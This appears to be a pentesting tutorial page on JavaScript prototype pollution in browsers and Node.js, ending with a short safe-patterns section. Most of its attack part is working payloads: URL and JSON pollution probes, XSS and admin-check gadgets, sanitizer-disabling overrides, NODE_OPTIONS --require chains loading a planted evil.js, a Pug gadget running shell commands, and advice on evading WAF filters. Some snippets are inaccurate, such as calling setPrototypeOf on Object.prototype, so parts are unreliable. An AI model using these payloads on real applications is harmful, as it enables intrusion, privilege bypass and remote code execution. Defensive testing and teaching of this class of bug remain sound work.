Prototype Pollution: From Detection to RCE in Node.js (2026)
Prototype pollution is a JavaScript vulnerability that allows attackers to inject properties into the global Object.prototype. Because every JavaScript object inherits from this root prototype, any property added to it becomes accessible on every object in the application — often leading to bypassed security checks, denial of service, or remote code execution in Node.js environments.
Despite being first documented in 2018, prototype pollution remains consistently underrated in bug bounty scopes and frequently missed in code reviews. Use the Prototype Pollution Generator to build and test payloads interactively.
Understanding the JavaScript Prototype Chain
Every JavaScript object has an internal prototype reference that forms a chain up to Object.prototype. When you access a property on an object, JavaScript walks this chain looking for it:
const obj = {};
obj.__proto__ === Object.prototype; // true
obj.toString === Object.prototype.toString; // true — inherited
Three equivalent ways to modify the prototype:
// Method 1: __proto__ (deprecated but widely exploited)
obj.__proto__.polluted = true;
// Method 2: constructor.prototype
obj.constructor.prototype.polluted = true;
// Method 3: Object.setPrototypeOf (not usually exploitable via JSON)
Object.setPrototypeOf(Object.prototype, { polluted: true });
When a merge function recursively copies properties without validation, an attacker-controlled key like __proto__ causes properties to be written to the prototype instead of the target object.
Detection Techniques
Manual Detection via Query Parameters
The fastest way to detect client-side prototype pollution is via URL parameters. Navigate to the target with:
https://target.com/?__proto__[testpp]=1
https://target.com/?__proto__.testpp=1
https://target.com/?constructor[prototype][testpp]=1
Then in your browser console, run:
({}).testpp // returns "1" if polluted
For JSON-based APIs, try sending:
{"__proto__": {"testpp": "1"}}
{"constructor": {"prototype": {"testpp": "1"}}}
Automated Detection with Burp Suite
The Burp Suite DOM Invader extension automatically detects prototype pollution sources and sinks. Enable DOM Invader in the Burp browser, navigate to the target, and watch for PP hits in the extension panel. The Encoding Pipeline can help transform payloads to bypass parameter parsers.
Detecting Library Merge Gadgets
Check the target's JavaScript dependencies for known-vulnerable functions:
// Vulnerable patterns to look for in source
_.merge(obj, userInput) // lodash < 4.17.11
$.extend(true, obj, userInput) // jQuery deep merge
deepmerge(obj, userInput) // deepmerge package
Object.assign(target, ...sources) // NOT vulnerable — shallow only
Client-Side Exploitation
DOM-Based XSS via Prototype Pollution
Client-side PP becomes critical when polluted properties flow into dangerous sinks. Common gadget properties:
// innerHTML gadget
?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// src gadget (used by some frameworks to set image sources)
?__proto__[src]=javascript:alert(1)
// DOMPurify bypass (pre-3.0 in some configs)
?__proto__[FORCE_BODY]=1
The key insight: PP gadgets are properties that some library or framework subsequently reads from any object without owning the property directly. Find PP sources first, then hunt for downstream gadgets.
Bypassing Client-Side Security Checks
// Application checks: if (options.isAdmin) { ... }
// After pollution: ?__proto__[isAdmin]=true
// Now ({}).isAdmin returns "true" — all objects appear as admins
// Disabling output sanitization
?__proto__[sanitize]=false
?__proto__[escapeHTML]=false
Server-Side Prototype Pollution (Node.js)
Exploiting Merge Gadgets
Server-side PP is significantly more impactful than client-side. The classic vulnerable pattern:
// Vulnerable code using lodash merge
const _ = require('lodash');
const config = {};
_.merge(config, JSON.parse(req.body)); // req.body controlled by attacker
Attacker sends:
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/environ"}}
Child Process RCE via Environment Variable Injection
When Node.js spawns child processes, polluted environment variables can achieve RCE. The most reliable gadget chain:
// Payload targeting child_process.spawn / exec
{
"__proto__": {
"shell": "node",
"env": {
"NODE_OPTIONS": "--require /dev/stdin",
"HOME": "/tmp"
}
}
}
The NODE_OPTIONS gadget is particularly powerful because Node.js reads it for every spawned process. With --require, you can load arbitrary code.
lodash.merge RCE Chain
// Step 1: Pollute via vulnerable merge
POST /api/config HTTP/1.1
Content-Type: application/json
{"__proto__":{"NODE_OPTIONS":"--require /proc/self/cwd/evil.js"}}
Then trigger a child_process.exec or child_process.spawn call anywhere in the application. The polluted NODE_OPTIONS affects all subsequently spawned Node processes.
AST Injection via Prototype Pollution
Template engines that compile templates to AST (Abstract Syntax Tree) at runtime are vulnerable to PP-based code injection. The most well-known gadget is in Handlebars:
// Handlebars < 4.7.7 gadget
{"__proto__": {
"pendingContent": "<script>alert(1)</script>"
}}
// Pug (Jade) RCE gadget
{"__proto__": {
"block": {
"type": "Text",
"line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}
}}
These work because the template engine reads configuration from object properties during compilation — polluted properties inject content directly into the compiled template or AST node evaluation.
Sanitization Bypass Techniques
Why hasOwnProperty Checks Don't Always Protect
// "Protected" code — but still vulnerable in some contexts
function safeMerge(target, source) {
for (const key in source) {
if (source.hasOwnProperty(key)) { // still iterates __proto__ in some engines
target[key] = source[key];
}
}
}
// Proper fix: check both source AND destination
if (key !== '__proto__' && key !== 'constructor' && key !== 'prototype') {
target[key] = source[key];
}
Safe Patterns
// Use Object.create(null) for maps — no prototype chain
const safeMap = Object.create(null);
// JSON.parse is SAFE — cannot pollute via JSON
JSON.parse('{"__proto__": {"x": 1}}'); // creates object with key "__proto__", doesn't pollute
// Object.freeze blocks pollution permanently
Object.freeze(Object.prototype); // prevents all prototype writes — may break some libraries
Building Payloads with Payload Playground
The Prototype Pollution Generator produces payloads for different contexts — URL parameters, JSON body, and nested merge paths. For server-side testing, combine with the Encoding Pipeline to handle cases where payloads pass through URL parsers or JSON decoders before reaching the vulnerable merge function.
When hunting in bug bounty programs, the Payload Mutator can generate variants of known gadget payloads to bypass WAF rules that block __proto__ directly.
Related Reading
- SSTI Exploitation: From Template Injection to Remote Code Execution — for Handlebars and Pug AST injection context
- JWT Attacks: A Pentester's Guide — PP-style attack chaining for related Node.js vulnerabilities
- NoSQL Injection: MongoDB, CouchDB, and Beyond — similar operator injection patterns in JS environments
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides